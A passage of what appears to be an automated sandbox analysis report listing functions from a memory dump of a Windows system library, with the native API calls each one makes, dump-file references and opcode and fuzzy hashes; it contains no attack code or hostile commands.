0x6a99752e
0x6a997534
0x6a99753a
0x6a997540
0x6a997543
0x6a997546
0x6a997549
0x6a99754c
0x6a99754f
0x6a997552
0x6a997555
0x6a997558
0x6a99755b
0x6a99755e
0x6a997561
0x6a997564
0x6a997567
0x6a99756a
0x6a99756d
0x6a997576
0x6a997579
0x6a997582
0x6a997585
0x6a997588
0x6a99758b
0x6a99758e
0x6a997595
0x6a99759e
0x6a9975a8
0x6a9975ad
0x6a9975ad
0x6a9973fc
0x6a9973e3
0x6a9975c9
0x6a9975d8
0x6a9975e0
0x6a9975f0
0x6a9975f6
0x6a9975fc
0x6a99760f
0x6a99762f

APIs

RtlRunOnceExecuteOnce.1105(6AA086E4,6A959490,00000000,00000000,00000000,00000000), ref: 6A99739F
ZwQuerySystemInformation.1105(00000067,?,00000008,00000000,6AA086E4,6A959490,00000000,00000000,00000000,00000000), ref: 6A9973D7

Part of subcall function 6A959860: LdrInitializeThunk.NTDLL(6A9A15BB,00000073,?,00000008,00000000,?,00000568), ref: 6A95986A

RtlCaptureContext.1105(?,6AA086E4,6A959490,00000000,00000000,00000000,00000000), ref: 6A9975C9
memset.1105(?,00000000,00000050,?,6AA086E4,6A959490,00000000,00000000,00000000,00000000), ref: 6A9975D8
RtlReportException.1105(C0000409,?,0000001E,00000000,00000000), ref: 6A99761A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$CaptureContextExceptionExecuteInformationInitializeQueryReportSystemThunkmemset
String ID:
API String ID: 3658138377-0
Opcode ID: c6377579222e58ad4d644df7351e2715dea53ac41c426f0e5be0af36509110bf
Instruction ID: 5842064cf660923de21da803784a51d8e89668aa7456c7eeaa44350c1018e5c4
Opcode Fuzzy Hash: c6377579222e58ad4d644df7351e2715dea53ac41c426f0e5be0af36509110bf
Instruction Fuzzy Hash: 448170B5D012289EDB60CF5AD980BDDFBF4BB48314F5081AEE60CA7241DB709A84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 6A93B944, Relevance: 7.7, APIs: 5, Instructions: 166nativetimeCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(00000000,?,00002710,00000000,?,?,?), ref: 6A93B9A5
RtlGetCurrentServiceSessionId.1105(00000000,?,00002710,00000000,?,?,?), ref: 6A93BA9C
ZwSetTimer2.1105(00000000,?,00000000,?,00000000,?,00002710,00000000,?,?,?), ref: 6A93BAC6
RtlGetCurrentServiceSessionId.1105(?,?,?), ref: 6A93BAE9
ZwCancelTimer2.1105(00000000,00000000,?,?,?), ref: 6A93BB03

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSessionTimer2$CancelUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1220516486-0
Opcode ID: 8508d6f5782251fe7d387515ede2534ba924f5fa01f912ebb96ee7b51383bbde
Instruction ID: 00e273010c7b5bc4dba10be2c23efc5a016833832753d960f3cd61de63256f20
Opcode Fuzzy Hash: 8508d6f5782251fe7d387515ede2534ba924f5fa01f912ebb96ee7b51383bbde
Instruction Fuzzy Hash: 2B513871A08B50DFC720CF29C48091ABBF9FB89714F25896EE595D7356DB30E844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6A968BE8, Relevance: 7.7, APIs: 1, Strings: 3, Instructions: 657COMMON

Download Yara Rule

Strings

', xrefs: 6A969129
(null), xrefs: 6A96914A
(null), xrefs: 6A968FFF, 6A96904C

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: '$(null)$(null)
API String ID: 3558298466-1087929977
Opcode ID: d04b3ce5c2138173e8fadd16bcc4542ed283f76c8b2d69b027a1ccad1f729c10
Instruction ID: b17eef81d8acf6ca6d2db796375fb578ae549eca097809b6ad312d88ac5a40f8
Opcode Fuzzy Hash: d04b3ce5c2138173e8fadd16bcc4542ed283f76c8b2d69b027a1ccad1f729c10
Instruction Fuzzy Hash: 1732B9F1A002289AFB248F28CD94799B7B9EF45314F6191EAD619A7281DF30CAC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6A93DBE9, Relevance: 7.6, APIs: 5, Instructions: 149COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6A93DD0B
RtlAcquireSRWLockExclusive.1105(00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6A93DD2D
RtlReleaseSRWLockExclusive.1105(00000000,00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6A93DD46

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseServiceSession
String ID:
API String ID: 3179239776-0
Opcode ID: 6f0bbef6030ba570608d822d7737b24931e4e39b1c96bcbba574bf34ce43945f
Instruction ID: bcf149863b442451aa39360a8fc821931ece84c2bfa58405e3a04be21c4da547
Opcode Fuzzy Hash: 6f0bbef6030ba570608d822d7737b24931e4e39b1c96bcbba574bf34ce43945f
Instruction Fuzzy Hash: E45167B1A04625DFCB14CFA8C4A0A9EFBF5BB49314F32895AD964A7341DF30E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A919100, Relevance: 7.6, APIs: 5, Instructions: 141nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,6A9EF6E8,0000002C,6A96E530,00000000,?,6A9F01C0,00000010,6A9E810C,00000000,00000000,00000000,00000000,6AA086C4,6AA086C4,00000008), ref: 6A919158
ZwShutdownWorkerFactory.1105(?,?), ref: 6A919182
RtlGetCurrentServiceSessionId.1105 ref: 6A9191C0

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCurrentExclusiveFactoryLockServiceSessionShutdownWorker
String ID:
API String ID: 1345183298-0
Opcode ID: cf0e875782938d7b526e22d4a70b7f4893440b29229d75bb27f1f2847f667c96
Instruction ID: 8cf4d473a6702d5be62cb1ff9c9dd9d1c6af1f83a1cf3fce967e1d8e2ef0aa7a
Opcode Fuzzy Hash: cf0e875782938d7b526e22d4a70b7f4893440b29229d75bb27f1f2847f667c96
Instruction Fuzzy Hash: D4519FB0A09649EFDB65CB78C8C879DB7B9BB5A318F36811AC424A7241CF30DD80C791

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A19C8, Relevance: 7.6, APIs: 5, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

ZwCreateSection.1105(?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6A9A1A54
ZwMapViewOfSection.1105(?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004,08000000), ref: 6A9A1A74
memset.1105(?,00000000,000000F0,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?), ref: 6A9A1A88
ZwUnmapViewOfSection.1105(000000FF,?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6A9A1AB8
ZwClose.1105(?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6A9A1AC8

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$View$CloseCreateUnmapmemset
String ID:
API String ID: 788617167-0
Opcode ID: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction ID: 9bc1d33e43f9eeef1e8cfe1294702d8a91332d634c95b80bb9875a678c532a57
Opcode Fuzzy Hash: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction Fuzzy Hash: EC3121B5E00219BBDB10CF99C845E9EFBFDAF96714F21416AE910B7250DB708A40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A913880, Relevance: 7.6, APIs: 5, Instructions: 97memorynativeCOMMON

Download Yara Rule

APIs

TpSetWaitEx.1105(000000FF,?,00000000,00000000), ref: 6A9138B7

Part of subcall function 6A93ECE0: RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6A93ED2C
Part of subcall function 6A93ECE0: RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6A93ED90

RtlAllocateHeap.1105(?,00000000,00001030,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6A9138D1
ZwGetCompleteWnfStateSubscription.1105(00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6A9138F0
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,?,00000000,00000000,00001030,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6A913914

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateCompleteFreeReleaseStateSubscriptionWait
String ID:
API String ID: 2233382-0
Opcode ID: a9169ec8dafe525381f11080838be8439fc5d4488a120a2b6a84161a5e31be52
Instruction ID: b5d4dfc0f1e2ee5fdbb7bf439921278ef4e9bd951b459b1e0655f895a5aa0b41
Opcode Fuzzy Hash: a9169ec8dafe525381f11080838be8439fc5d4488a120a2b6a84161a5e31be52
Instruction Fuzzy Hash: DD318032D44229BFD760CFA9C884A9FB7F9EF49354F224566E925E7250DB30DE008B90

Uniqueness

Uniqueness Score: -1.00%

Function 6A914A20, Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6A914A2A
RtlFreeHeap.1105(?,00000000,?), ref: 6A914AB3

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentFreeHeapServiceSession
String ID:
API String ID: 1159841122-0
Opcode ID: 58c3c25f948b1fd1ca811858784e915a3d8896ee94b7155a4dd5070ce6642783
Instruction ID: e3b840f8b1daa211a64baed5aaf87566f3ea66919dd9772dead592ea9742a3aa
Opcode Fuzzy Hash: 58c3c25f948b1fd1ca811858784e915a3d8896ee94b7155a4dd5070ce6642783
Instruction Fuzzy Hash: 6D21E670148A05DFC7758A24D844B0677B9AB9932CF324629D4518A5A1EF31DCC1CF99

Uniqueness

Uniqueness Score: -1.00%

Function 6A9228AE, Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(00000000,?,6AA084D8,6A920924,6AA084D8,?,6AA084D8,?,00000000,?,?,?,6A92087C,?,?,?), ref: 6A9228B3
RtlEnterCriticalSection.1105(6AA05350), ref: 6A9228DA
RtlGetCurrentServiceSessionId.1105(6AA05350), ref: 6A9228E1
RtlGetCurrentServiceSessionId.1105 ref: 6A9776AF

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 3d380d6cf025d0e54de4add8ad9249f3dfca15f8a2080035dbd461b7a1c79b97
Instruction ID: 74b8f59e1bb2a8f0fdd7b2c2e95ff78b4c106d2033dfb8b0d1f480047e50b8ef
Opcode Fuzzy Hash: 3d380d6cf025d0e54de4add8ad9249f3dfca15f8a2080035dbd461b7a1c79b97
Instruction Fuzzy Hash: 7F21A731665691EFF722976C9C48F1437E8EB41778F3606A1E9309B6E6DF78D8408221

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E3E22, Relevance: 7.6, APIs: 5, Instructions: 62nativeCOMMON

Download Yara Rule

APIs

ZwTraceControl.1105(0000001A,6AA05338,00000008,00000000,00000000,?,6AA05338,00000000,6AA05320,6AA05320,6AA05338,?,6AA084E0,?,00000001,6A8F5C80), ref: 6A9E3E5D
RtlNtStatusToDosError.1105(00000000,0000001A,6AA05338,00000008,00000000,00000000,?,6AA05338,00000000,6AA05320,6AA05320,6AA05338,?,6AA084E0,?,00000001), ref: 6A9E3E6B
RtlAcquireSRWLockExclusive.1105(6AA08504,00000000,0000001A,6AA05338,00000008,00000000,00000000,?,6AA05338,00000000,6AA05320,6AA05320,6AA05338,?,6AA084E0), ref: 6A9E3E7A
RtlReleaseSRWLockExclusive.1105(6AA08504,6AA08504,00000000,0000001A,6AA05338,00000008,00000000,00000000,?,6AA05338,00000000,6AA05320,6AA05320,6AA05338,?,6AA084E0), ref: 6A9E3EA1
RtlSetLastWin32Error.1105(00000006,6AA05338,00000000,6AA05320,6AA05320,6AA05338,?,6AA084E0,?,00000001,6A8F5C80,6A91591B), ref: 6A9E3EAC

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorExclusiveLock$AcquireControlLastReleaseStatusTraceWin32
String ID:
API String ID: 1422652320-0
Opcode ID: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction ID: 7ad55c5f937a743d82af9f1f21948fefa6e1b469a540d89646ccb6ec02b83610
Opcode Fuzzy Hash: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction Fuzzy Hash: 2911E7726002146BCB519F69C884BABBBBCFF49B54F624069EC149B142DF30D90287E0

Uniqueness

Uniqueness Score: -1.00%

Function 6A91F150, Relevance: 7.6, APIs: 5, Instructions: 59nativeCOMMON

Download Yara Rule

APIs

RtlFormatCurrentUserKeyPath.1105(?,02000000,?,00000000), ref: 6A91F15F

Part of subcall function 6A92A3E0: ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6A92A404
Part of subcall function 6A92A3E0: RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A414
Part of subcall function 6A92A3E0: RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A443
Part of subcall function 6A92A3E0: RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A469

RtlFreeUnicodeString.1105(?,?,?,?,?,02000000,?,00000000), ref: 6A91F19D

Part of subcall function 6A932400: RtlDeleteBoundaryDescriptor.1105(?,00000000,?,6A9A8405,?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?), ref: 6A932412

ZwOpenKey.1105(?,?,?,?,02000000,?,00000000), ref: 6A91F192

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendBoundaryConvertCurrentDeleteDescriptorFormatFreeInformationInitializeLengthOpenPathQueryThunkTokenUser
String ID:
API String ID: 1101908438-0
Opcode ID: 3788e0cd78ec3c78c33b75afb0f253acd4360aa12e79792d7ba7c810cc58f789
Instruction ID: 1c77d5e85e505f92efb0249d469b83b51eb026e30b42f78dd15c24808804d254
Opcode Fuzzy Hash: 3788e0cd78ec3c78c33b75afb0f253acd4360aa12e79792d7ba7c810cc58f789
Instruction Fuzzy Hash: CD11C6B2C0021DABDF11DF96C8858EEFBB9EF98354F114166E914A7200DB359A55CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6A94D4B0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000000,?,?,?,00000234,00000000,00000000,00000000,?,6A94C8DC,0000000C,?), ref: 6A98B08F
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx,RtlpInitializeAssemblyStorageMap,00000000,?,?,00000234,00000000,00000000,00000000,?,6A94C8DC,0000000C,?), ref: 6A98B0C0

Strings

RtlpInitializeAssemblyStorageMap, xrefs: 6A98B0B2
SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 6A98B0B7

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapPrint
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 3766636288-2653619699
Opcode ID: 261d004ca31a97703cbf287bcdb0103672ba9e092f4a85b05fd0164af82a749e
Instruction ID: 0f606f81b4de27eb44af1428c8af26556b1cac897a376db3665214389014aa0e
Opcode Fuzzy Hash: 261d004ca31a97703cbf287bcdb0103672ba9e092f4a85b05fd0164af82a749e
Instruction Fuzzy Hash: 3511E376B00204BBE7148E4D8D40F5A76BDDB95B54F358029BA14AB385EE75DD0082A0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A176C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55nativeCOMMON

Download Yara Rule

APIs

ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6A9A17B5
ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6A9A17E1
ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6A9A17EB

Strings

\KernelObjects\SystemErrorPortReady, xrefs: 6A9A178B

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseEventObjectOpenSingleWait
String ID: \KernelObjects\SystemErrorPortReady
API String ID: 2739627308-2278496901
Opcode ID: a1e3630c1e5bc4baae7a0b63c7398cc9216142bfc365655c6d3d51da1f63fc63
Instruction ID: 44ea3c5c36da238c9bd676b40ff251d47e37e69041030e3cb84683cc3c973d16
Opcode Fuzzy Hash: a1e3630c1e5bc4baae7a0b63c7398cc9216142bfc365655c6d3d51da1f63fc63
Instruction Fuzzy Hash: F9117375D1021CAADB10CFA98845ADEFBB8EF85210F21415BE914F3250E7704E15CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6A91429E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51librarynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\DllNXOptions,?,?,00000000), ref: 6A9142C7

Part of subcall function 6A950F48: ZwOpenKey.1105(?,?,00000018), ref: 6A951015

ZwClose.1105(?,?,?,?,\DllNXOptions,?,?,00000000), ref: 6A97068E
LdrQueryImageFileKeyOption.1105(?,?,00000004,?,00000004,?,?,?,00000000), ref: 6A9706A6

Strings

\DllNXOptions, xrefs: 6A9142BE

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileImageInitOpenOptionQueryStringUnicode
String ID: \DllNXOptions
API String ID: 166309601-742623237
Opcode ID: 733bbe7edac1cf195895e7e319a62c6546d8a99eeee24e39fd1d454f8de6c282
Instruction ID: f4552f7cdbc1e47ebe7737fc5e7e6cb6d079d24c488b928ca4c91de076a11224
Opcode Fuzzy Hash: 733bbe7edac1cf195895e7e319a62c6546d8a99eeee24e39fd1d454f8de6c282
Instruction Fuzzy Hash: A801D8759002197EDF10D6A59D00D8F77BC9B85328F2100B6EA04EB140EF71DE0286E4

Uniqueness

Uniqueness Score: -1.00%

Function 6A928800, Relevance: 6.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

APIs

memcmp.1105(6AA084DC,6A8F1184,00000010,-00000054,?,00000000,00000001,?,6AA052D8), ref: 6A9288A8
RtlAcquireSRWLockExclusive.1105(6AA086CC,-00000054,?,00000000,00000001,?,6AA052D8), ref: 6A928901
RtlReleaseSRWLockExclusive.1105(6AA086CC,6AA086CC,-00000054,?,00000000,00000001,?,6AA052D8), ref: 6A928933
RtlAcquireSRWLockExclusive.1105(6AA086CC,-00000054,?,00000000,00000001,?,6AA052D8), ref: 6A979C65

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Acquire$Releasememcmp
String ID:
API String ID: 2792186644-0
Opcode ID: 9ede1d6db5ba95c50e29ca8ce0cfc722dd7cb4899cf7575eea55287f262db967
Instruction ID: 7fd2f877f0c3d52b9b7267e08aef2e3987170d737d51f16e929d4a379d5fd08a
Opcode Fuzzy Hash: 9ede1d6db5ba95c50e29ca8ce0cfc722dd7cb4899cf7575eea55287f262db967
Instruction Fuzzy Hash: 9C51B171A2020ADFEF5CCF58C4816AA77B9FF55304F26C069D925AB219DF30EA41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A940548, Relevance: 6.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6AA07B60,?,00000000,01000000,?,6A940408,?,00000000,00000024), ref: 6A940576
RtlLeaveCriticalSection.1105(6AA07B60,6AA08544,?,00000001,?,?,?,?,?,6AA07B60,?,00000000,01000000), ref: 6A94059F
RtlRbInsertNodeEx.1105(6AA08544,?,00000001,?,?,?,?,?,6AA07B60,?,00000000,01000000), ref: 6A9405F6

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterInsertLeaveNode
String ID:
API String ID: 1141981990-0
Opcode ID: f941b83497e40483dcc9c88223f1acfc499cdec9a73be1c2a03ddd10aae836d6
Instruction ID: 3f88522c6ee86c413b574224c64b142cd745efcd7903b3a8d733ecd70361baa4
Opcode Fuzzy Hash: f941b83497e40483dcc9c88223f1acfc499cdec9a73be1c2a03ddd10aae836d6
Instruction Fuzzy Hash: 3B516B31A44315AFEB119A699800B5BBBBCEFA1318F350279DD55EB241EF74D801CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6A9DB581, Relevance: 6.2, APIs: 4, Instructions: 163nativeCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6A96FC28), ref: 6A9DB6C4
RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6A96FC28), ref: 6A9DB6F0
RtlGetCurrentServiceSessionId.1105 ref: 6A9DB726
ZwTraceEvent.1105(?,00000402,00000004,?), ref: 6A9DB75E

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$EventTrace
String ID:
API String ID: 4061387822-0
Opcode ID: 5aeb0a5444ee8b6fdd78fd8c0563dad33726c6bbc7b93058efbf3919ee746aa6
Instruction ID: be4518385396ebcb364da2b1b62b45b81ad857dc372c3ddf48675c9e80fca6f0
Opcode Fuzzy Hash: 5aeb0a5444ee8b6fdd78fd8c0563dad33726c6bbc7b93058efbf3919ee746aa6
Instruction Fuzzy Hash: 58510231604B429FD701EF28C554B66B7F4BF40318F26896DE8658B6A2EF30E885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6A911AA0, Relevance: 6.1, APIs: 4, Instructions: 123memorynativeCOMMON

Download Yara Rule

APIs

